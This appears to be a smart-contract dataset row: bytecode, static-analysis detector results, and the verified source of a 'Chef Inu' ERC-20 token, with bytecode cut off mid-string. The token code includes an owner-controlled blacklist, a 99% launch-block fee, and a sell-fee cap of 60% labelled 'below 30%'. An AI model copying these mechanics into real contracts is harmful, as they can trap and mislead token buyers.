delete _accountIndexes[account];
emit RemovedAccount(account);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638a48ac03116100715780638a48ac031461013e5780638da5cb5b146101535780638f32d59b1461015b578063c4740a9514610170578063e89b0e1e14610183578063f2fde38b14610196576100b4565b80630276c810146100b957806312e6bf6a146100e3578063209547801461010457806323452b9c146101195780637328cf4b1461012357806379ba509714610136575b600080fd5b6100cc6100c7366004610cfd565b6101a9565b6040516100da929190610eed565b60405180910390f35b6100f66100f1366004610c05565b61028b565b6040516100da929190610eca565b61010c610361565b6040516100da9190610df5565b610121610385565b005b6100f6610131366004610c89565b6103bb565b610121610513565b610146610599565b6040516100da9190610e72565b61010c6105fb565b61016361060a565b6040516100da9190610ebf565b61012161017e366004610bc6565b61061b565b610121610191366004610bc6565b61064b565b6101216101a4366004610bc6565b610678565b3360009081526003602052604081205481906101e05760405162461bcd60e51b81526004016101d790610f5a565b60405180910390fd5b60405162276c8160e41b81526001600160a01b037f0000000000000000000000008bfb7ac05bf9bdc6bc3a635d4dd209c8ba39e5541690630276c8109061022d90879087906004016111c7565b602060405180830381600087803b15801561024757600080fd5b505af115801561025b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027f9190610d4b565b60019590945092505050565b6000606061029761060a565b6102b35760405162461bcd60e51b81526004016101d790611066565b856001600160a01b03168585856040516102ce929190610de5565b60006040518083038185875af1925050503d806000811461030b576040519150601f19603f3d011682016040523d82523d6000602084013e610310565b606091505b5060405191935091507fac8eff309dd62364b14e77486e3f919febb792cada3cdd641a6893f70ecab30e9061035090889088908890889088908890610e09565b60405180910390a194509492505050565b7f0000000000000000000000008bfb7ac05bf9bdc6bc3a635d4dd209c8ba39e55490565b61038d61060a565b6103a95760405162461bcd60e51b81526004016101d790611066565b600180546001600160a01b0319169055565b336000908152600360205260408120546060906103ea5760405162461bcd60e51b81526004016101d790610f5a565b6103f486866106e4565b5061040b856104066020870187610bc6565b61086b565b5060405162276c8160e41b81526001600160a01b037f0000000000000000000000008bfb7ac05bf9bdc6bc3a635d4dd209c8ba39e5541690630276c8109061045990879087906004016111c7565b602060405180830381600087803b15801561047357600080fd5b505af19250505080156104a3575060408051601f3d908101601f191682019092526104a091810190610d4b565b60015b6104e2573d8080156104d1576040519150601f19603f3d011682016040523d82523d6000602084013e6104d6565b606091505b5060009250905061050a565b6001816040516020016104f591906112c0565b60405160208183030381529060405292509250505b94509492505050565b6001546001600160a01b0316331461053d5760405162461bcd60e51b81526004016101d790610fac565b600180546001600160a01b03191690556000805460405133926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191633179055565b606060028054806020026020016040519081016040528092919081815260200182805480156105f157602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116105d3575b5050505050905090565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b61062361060a565b61063f5760405162461bcd60e51b81526004016101d790611066565b6106488161098c565b50565b61065361060a565b61066f5760405162461bcd60e51b81526004016101d790611066565b61064881610ac3565b61068061060a565b61069c5760405162461bcd60e51b81526004016101d790611066565b6001600160a01b0381166106c25760405162461bcd60e51b81526004016101d79061116a565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000813b8061086057826001600160a01b03167f0000000000000000000000002484000059004afb720000dc738434fa6200f49d6001600160a01b03166399b583aa866040518263ffffffff1660e01b81526004016107439190610df5565b60206040518083038186803b15801561075b57600080fd5b505afa15801561076f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107939190610be9565b6001600160a01b0316146107b95760405162461bcd60e51b81526004016101d790610efd565b6040516344651f2160e11b81526001600160a01b037f0000000000000000000000002484000059004afb720000dc738434fa6200f49d16906388ca3e42906108079087908790600401610e58565b602060405180830381600087803b15801561082157600080fd5b505af1158015610835573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108599190610be9565b9150610864565b8291505b5092915050565b6000813b8061086057826001600160a01b03167f000000000000000000000000fc00c80b0000007f73004edb00094cad80626d8d6001600160a01b031663e8dd05f2866040518263ffffffff1660e01b81526004016108ca9190610df5565b60206040518083038186803b1580156108e257600080fd5b505afa1580156108f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091a9190610be9565b6001600160a01b0316146109405760405162461bcd60e51b81526004016101d7906110ae565b60405163285e7bfd60e01b81526001600160a01b037f000000000000000000000000fc00c80b0000007f73004edb00094cad80626d8d169063285e7bfd90610807908790600401610df5565b6001600160a01b038116600090815260036020526040902054806109c25760405162461bcd60e51b81526004016101d790611017565b600280546000919060001981019081106109d857fe5b600091825260209091200154600280546001600160a01b03909216925082916000198501908110610a0557fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b0394851617905591831681526003909152604090208290556002805480610a4957fe5b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b038516825260039052604080822091909155517f5e66dcbd55f2f06d832f5cdf7e1fc46d68be6ba8cac7b5c2a611de0e9b6c92a790610ab6908590610df5565b60405180910390a1505050565b6001600160a01b03811660009081526003602052604090205415610af95760405162461bcd60e51b81526004016101d790611115565b600280546001810182557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b03841690811790915590546000918252600360205260409182902055517f9c12b8c530e38690083f6a015377e53f2d684153c65b58318cad7e8d0c9d6c8d90610b82908390610df5565b60405180910390a150565b8035610b9881611322565b92915050565b600060e08284031215610baf578081fd5b50919050565b600060808284031215610baf578081fd5b600060208284031215610bd7578081fd5b8135610be281611322565b9392505050565b600060208284031215610bfa578081fd5b8151610be281611322565b60008060008060608587031215610c1a578283fd5b8435610c2581611322565b935060208501359250604085013567ffffffffffffffff80821115610c48578384fd5b818701915087601f830112610c5b578384fd5b813581811115610c69578485fd5b886020828501011115610c7a578485fd5b95989497505060200194505050565b6000806000806101408587031215610c9f578384fd5b8435610caa81611322565b93506020850135610cba81611322565b9250610cc98660408701610b9e565b915061012085013567ffffffffffffffff811115610ce5578182fd5b610cf187828801610bb5565b91505092959194509250565b6000806101008385031215610d10578182fd5b610d1a8484610b9e565b915060e083013567ffffffffffffffff811115610d35578182fd5b610d4185828601610bb5565b9150509250929050565b600060208284031215610d5c578081fd5b5051919050565b6001600160a01b03169052565b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b60008151808452815b81811015610dbf57602081850181015186830182015201610da3565b81811115610dd05782602083870101525b50601f01601f19169290920160200192915050565b6000828483379101908152919050565b6001600160a01b0391909116815260200190565b600060018060a01b038816825286602083015260a06040830152610e3160a083018688610d70565b84151560608401528281036080840152610e4b8185610d9a565b9998505050505050505050565b6001600160a01b0392831681529116602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015610eb35783516001600160a01b031683529284019291840191600101610e8e565b50909695505050505050565b901515815260200190565b6000831515825260406020830152610ee56040830184610d9a565b949350505050565b9115158252602082015260400190565b60208082526039908201527f4b65792072696e6720746f206265206465706c6f79656420646f6573206e6f7460408201527f206d61746368206578706563746564206b65792072696e672e00000000000000606082015260800190565b60208082526032908201527f4f6e6c7920617574686f72697a6564206163636f756e7473206d61792074726960408201527133b3b2b9103634b6b4ba1037b93232b9399760711b606082015260800190565b60208082526045908201527f54776f537465704f776e61626c653a2063757272656e74206f776e6572206d7560408201527f7374207365742063616c6c6572206173206e657720706f74656e7469616c206f6060820152643bb732b91760d91b608082015260a00190565b6020808252602f908201527f4e6f206163636f756e7420666f756e64206d61746368696e672074686520707260408201526e37bb34b232b21030b1b1b7bab73a1760891b606082015260800190565b60208082526028908201527f54776f537465704f776e61626c653a2063616c6c6572206973206e6f74207468604082015267329037bbb732b91760c11b606082015260800190565b60208082526041908201527f536d6172742077616c6c657420746f206265206465706c6f79656420646f657360408201527f206e6f74206d6174636820657870656374656420736d6172742077616c6c65746060820152601760f91b608082015260a00190565b60208082526035908201527f4163636f756e74206d61746368696e67207468652070726f766964656420616360408201527431b7bab73a1030b63932b0b23c9032bc34b9ba399760591b606082015260800190565b60208082526038908201527f54776f537465704f776e61626c653a206e657720706f74656e7469616c206f7760408201527f6e657220697320746865207a65726f20616464726573732e0000000000000000606082015260800190565b6000610100602085016111e3846111de8389610b8d565b610d63565b6111ed81876112c9565b90506111fc6020850182610d63565b5061120a60408601866112c9565b6112176040850182610d63565b50606085013560608401526080850135608084015260a085013560a084015260c085013560c08401528060e08401528335818401525061125a60208401846112d6565b608061012085015261127161018085018284610d70565b91505061128160408501856112c9565b61128f610140850182610d63565b5061129d60608501856112d6565b84830360ff19016101608601526112b5838284610d70565b979650505050505050565b90815260200190565b60008235610be281611322565b6000808335601e198436030181126112ec578283fd5b830160208101925035905067ffffffffffffffff81111561130c57600080fd5b80360383131561131b57600080fd5b9250929050565b6001600160a01b038116811461064857600080fdfea2646970667358221220ccf31bec3514473dbf89f6eb4e0f1653d6950b367df797e316ecbdf6aa49851364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,217 |
0x7e281ab9f42f38caa2783d3ff6fccfbb5e9e144e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChefInu is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cooldown;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
string private constant _name = "Chef Inu";
string private constant _symbol = "CHEF";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1e12 * (10**_decimals);
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private tradingActiveBlock = 0;
uint256 private blocksToBlacklist = 4;
uint256 private _buyProjectFee = 5;
uint256 private _previousBuyProjectFee = _buyProjectFee;
uint256 private _buyLiquidityFee = 4;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyCharityFee = 1;
uint256 private _previousBuyCharityFee = _buyCharityFee;
uint256 private _buyDevelopmentFee = 1;
uint256 private _previousBuyDevelopmentFee = _buyDevelopmentFee;
uint256 private _sellProjectFee = 5;
uint256 private _previousSellProjectFee = _sellProjectFee;
uint256 private _sellLiquidityFee = 4;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellCharityFee = 1;
uint256 private _previousSellCharityFee = _sellCharityFee;
uint256 private _sellDevelopmentFee = 1;
uint256 private _previousSellDevelopmentFee = _sellDevelopmentFee;
uint256 private tokensForCharity;
uint256 private tokensForProject;
uint256 private tokensForLiquidity;
uint256 private tokensForDevelopment;
uint256 private swapTokensAtAmount = 0;
address payable private _projectWallet;
address payable private _liquidityWallet;
address payable private _developmentWallet;
address private uniswapV2Pair;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address projectWallet, address liquidityWallet, address developmentWallet) {
_projectWallet = payable(projectWallet);
_liquidityWallet = payable(liquidityWallet);
_developmentWallet = payable(developmentWallet);
_rOwned[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_projectWallet] = true;
_isExcludedFromFee[_liquidityWallet] = true;
_isExcludedFromFee[_developmentWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _rOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setSwapEnabled(bool onoff) external onlyOwner(){
swapEnabled = onoff;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
bool shouldSwap = false;
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
require(!bots[from] && !bots[to]);
if (cooldownEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(cooldown[tx.origin] < block.number - 1 && cooldown[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
cooldown[tx.origin] = block.number;
cooldown[to] = block.number;
}
}
takeFee = true;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyAmount, "Transfer amount exceeds the maxBuyAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from]) {
require(amount <= _maxSellAmount, "Transfer amount exceeds the maxSellAmount.");
shouldSwap = true;
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = (contractTokenBalance > swapTokensAtAmount) && shouldSwap;
if (canSwap && swapEnabled && !swapping && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapping = true;
swapBack();
swapping = false;
}
_tokenTransfer(from,to,amount,takeFee, shouldSwap);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForCharity + tokensForProject + tokensForDevelopment;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 10) {
contractBalance = swapTokensAtAmount * 10;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForReward = ethBalance.mul(tokensForCharity).div(totalTokensToSwap);
uint256 ethForProject = ethBalance.mul(tokensForProject).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForReward - ethForProject - ethForDevelopment;
tokensForLiquidity = 0;
tokensForCharity = 0;
tokensForProject = 0;
tokensForDevelopment = 0;
(success,) = address(_developmentWallet).call{value: ethForDevelopment}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(_projectWallet).call{value: address(this).balance}("");
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_liquidityWallet,
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_projectWallet.transfer(amount.div(2));
_developmentWallet.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxBuyAmount = 5e9 * (10**_decimals);
_maxSellAmount = 3e9 * (10**_decimals);
_maxWalletAmount = 2e10 * (10**_decimals);
swapTokensAtAmount = 3e8 * (10**_decimals);
tradingOpen = true;
tradingActiveBlock = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
require(maxBuy >= 1e8 * (10**_decimals), "Max buy amount cannot be lower than 0.01% total supply.");
_maxBuyAmount = maxBuy;
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
require(maxSell >= 1e8 * (10**_decimals), "Max sell amount cannot be lower than 0.01% total supply.");
_maxSellAmount = maxSell;
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
require(maxToken >= 1e9 * (10**_decimals), "Max wallet amount cannot be lower than 0.1% total supply.");
_maxWalletAmount = maxToken;
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
require(newAmount >= 1e8 * (10**_decimals), "Swap amount cannot be lower than 0.01% total supply.");
require(newAmount <= 5e9 * (10**_decimals), "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
}
function setProjectWallet(address projectWallet) public onlyOwner() {
require(projectWallet != address(0), "projectWallet address cannot be 0");
_isExcludedFromFee[_projectWallet] = false;
_projectWallet = payable(projectWallet);
_isExcludedFromFee[_projectWallet] = true;
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
require(liquidityWallet != address(0), "liquidityWallet address cannot be 0");
_isExcludedFromFee[_liquidityWallet] = false;
_liquidityWallet = payable(liquidityWallet);
_isExcludedFromFee[_liquidityWallet] = true;
}
function setExcludedFromFees(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = exempt;
}
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
bots[accounts[i]] = exempt;
}
}
function setBuyFee(uint256 buyProjectFee, uint256 buyLiquidityFee, uint256 buyRewardFee, uint256 buyDevelopmentFee) external onlyOwner {
require(buyProjectFee + buyLiquidityFee + buyRewardFee + buyDevelopmentFee <= 30, "Must keep buy taxes below 30%");
_buyProjectFee = buyProjectFee;
_buyLiquidityFee = buyLiquidityFee;
_buyCharityFee = buyRewardFee;
_buyDevelopmentFee = buyDevelopmentFee;
}
function setSellFee(uint256 sellProjectFee, uint256 sellLiquidityFee, uint256 sellRewardFee, uint256 sellDevelopmentFee) external onlyOwner {
require(sellProjectFee + sellLiquidityFee + sellRewardFee + sellDevelopmentFee <= 60, "Must keep sell taxes below 30%");
_sellProjectFee = sellProjectFee;
_sellLiquidityFee = sellLiquidityFee;
_sellCharityFee = sellRewardFee;
_sellDevelopmentFee = sellDevelopmentFee;
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
blocksToBlacklist = blocks;
}
function removeAllFee() private {
if(_buyProjectFee == 0 && _buyLiquidityFee == 0 && _buyCharityFee == 0 && _buyDevelopmentFee == 0 && _sellProjectFee == 0 && _sellLiquidityFee == 0 && _sellCharityFee == 0 && _sellDevelopmentFee == 0) return;
_previousBuyProjectFee = _buyProjectFee;
_previousBuyLiquidityFee = _buyLiquidityFee;
_previousBuyCharityFee = _buyCharityFee;
_previousBuyDevelopmentFee = _buyDevelopmentFee;
_previousSellProjectFee = _sellProjectFee;
_previousSellLiquidityFee = _sellLiquidityFee;
_previousSellCharityFee = _sellCharityFee;
_previousSellDevelopmentFee = _sellDevelopmentFee;
_buyProjectFee = 0;
_buyLiquidityFee = 0;
_buyCharityFee = 0;
_buyDevelopmentFee = 0;
_sellProjectFee = 0;
_sellLiquidityFee = 0;
_sellCharityFee = 0;
_sellDevelopmentFee = 0;
}
function restoreAllFee() private {
_buyProjectFee = _previousBuyProjectFee;
_buyLiquidityFee = _previousBuyLiquidityFee;
_buyCharityFee = _previousBuyCharityFee;
_buyDevelopmentFee = _previousBuyDevelopmentFee;
_sellProjectFee = _previousSellProjectFee;
_sellLiquidityFee = _previousSellLiquidityFee;
_sellCharityFee = _previousSellCharityFee;
_sellDevelopmentFee = _previousSellDevelopmentFee;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
if(!takeFee) {
removeAllFee();
} else {
amount = _takeFees(sender, amount, isSell);
}
_transferStandard(sender, recipient, amount);
if(!takeFee) {
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
_rOwned[sender] = _rOwned[sender].sub(tAmount);
_rOwned[recipient] = _rOwned[recipient].add(tAmount);
emit Transfer(sender, recipient, tAmount);
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
uint256 _totalFees;
uint256 pjctFee;
uint256 liqFee;
uint256 chrtyFee;
uint256 devFee;
if(tradingActiveBlock + blocksToBlacklist >= block.number){
_totalFees = 99;
pjctFee = 25;
liqFee = 25;
chrtyFee = 24;
devFee = 25;
} else {
_totalFees = _getTotalFees(isSell);
if (isSell) {
pjctFee = _sellProjectFee;
liqFee = _sellLiquidityFee;
chrtyFee = _sellCharityFee;
devFee = _sellDevelopmentFee;
} else {
pjctFee = _buyProjectFee;
liqFee = _buyLiquidityFee;
chrtyFee = _buyCharityFee;
devFee = _buyDevelopmentFee;
}
}
uint256 fees = amount.mul(_totalFees).div(100);
tokensForCharity += fees * chrtyFee / _totalFees;
tokensForProject += fees * pjctFee / _totalFees;
tokensForLiquidity += fees * liqFee / _totalFees;
tokensForDevelopment += fees * devFee / _totalFees;
if(fees > 0) {
_transferStandard(sender, address(this), fees);
}
return amount -= fees;
}
receive() external payable {}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function _getTotalFees(bool isSell) private view returns(uint256) {
if (isSell) {
return _sellProjectFee + _sellLiquidityFee + _sellCharityFee + _sellDevelopmentFee;
}
return _buyProjectFee + _buyLiquidityFee + _buyCharityFee + _buyDevelopmentFee;
}
}
|
0x6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063dd62ed3e1161008a578063e6f7ef4d11610064578063e6f7ef4d14610520578063e99c9d0914610540578063f34eb0b814610560578063f5648a4f1461058057600080fd5b8063dd62ed3e1461049a578063e01af92c146104e0578063e653da081461050057600080fd5b8063a9059cbb116100c6578063a9059cbb14610430578063afa4f3b214610450578063c3c8cd8014610470578063c9567bf91461048557600080fd5b80638da5cb5b146103bb57806395d89b41146103e35780639c0db5f31461041057600080fd5b8063313ce5671161015957806370a082311161013357806370a0823114610330578063715018a6146103665780638a7804471461037b5780638c5a133d1461039b57600080fd5b8063313ce567146102df5780635932ead1146102fb5780636fc3eaec1461031b57600080fd5b806318160ddd1161019557806318160ddd1461025c57806323b872dd1461027f57806327a14fc21461029f578063296f0a0c146102bf57600080fd5b806306fdde03146101c7578063095ea7b31461020a578063105222f91461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260088152674368656620496e7560c01b60208201525b60405161020191906125ba565b60405180910390f35b34801561021657600080fd5b5061022a610225366004612634565b610595565b6040519015158152602001610201565b34801561024657600080fd5b5061025a61025536600461268f565b6105ac565b005b34801561026857600080fd5b5061027161064b565b604051908152602001610201565b34801561028b57600080fd5b5061022a61029a366004612766565b61066d565b3480156102ab57600080fd5b5061025a6102ba3660046127a7565b6106d6565b3480156102cb57600080fd5b5061025a6102da3660046127c0565b610794565b3480156102eb57600080fd5b5060405160098152602001610201565b34801561030757600080fd5b5061025a6103163660046127dd565b610870565b34801561032757600080fd5b5061025a6108ba565b34801561033c57600080fd5b5061027161034b3660046127c0565b6001600160a01b031660009081526004602052604090205490565b34801561037257600080fd5b5061025a6108f1565b34801561038757600080fd5b5061025a6103963660046127c0565b610965565b3480156103a757600080fd5b5061025a6103b63660046127fa565b610a3f565b3480156103c757600080fd5b506000546040516001600160a01b039091168152602001610201565b3480156103ef57600080fd5b5060408051808201909152600481526321a422a360e11b60208201526101f4565b34801561041c57600080fd5b5061025a61042b36600461268f565b610aed565b34801561043c57600080fd5b5061022a61044b366004612634565b610b7e565b34801561045c57600080fd5b5061025a61046b3660046127a7565b610b8b565b34801561047c57600080fd5b5061025a610cc7565b34801561049157600080fd5b5061025a610d0a565b3480156104a657600080fd5b506102716104b536600461282c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104ec57600080fd5b5061025a6104fb3660046127dd565b6110f6565b34801561050c57600080fd5b5061025a61051b3660046127fa565b61113e565b34801561052c57600080fd5b5061025a61053b3660046127a7565b6111ec565b34801561054c57600080fd5b5061025a61055b3660046127a7565b61121b565b34801561056c57600080fd5b5061025a61057b3660046127a7565b6112d9565b34801561058c57600080fd5b5061025a611397565b60006105a233848461140e565b5060015b92915050565b6000546001600160a01b031633146105df5760405162461bcd60e51b81526004016105d690612865565b60405180910390fd5b60005b82518110156106465781600660008584815181106106025761060261289a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063e816128c6565b9150506105e2565b505050565b60006106596009600a6129c5565b6106689064e8d4a510006129d4565b905090565b600061067a848484611533565b6106cc84336106c785604051806060016040528060288152602001612b59602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611b6b565b61140e565b5060019392505050565b6000546001600160a01b031633146107005760405162461bcd60e51b81526004016105d690612865565b61070c6009600a6129c5565b61071a90633b9aca006129d4565b81101561078f5760405162461bcd60e51b815260206004820152603960248201527f4d61782077616c6c657420616d6f756e742063616e6e6f74206265206c6f776560448201527f72207468616e20302e312520746f74616c20737570706c792e0000000000000060648201526084016105d6565b600b55565b6000546001600160a01b031633146107be5760405162461bcd60e51b81526004016105d690612865565b6001600160a01b0381166108205760405162461bcd60e51b815260206004820152602360248201527f6c697175696469747957616c6c657420616464726573732063616e6e6f74206260448201526206520360ec1b60648201526084016105d6565b602480546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b81526004016105d690612865565b600880549115156401000000000264ff0000000019909216919091179055565b6000546001600160a01b031633146108e45760405162461bcd60e51b81526004016105d690612865565b476108ee8161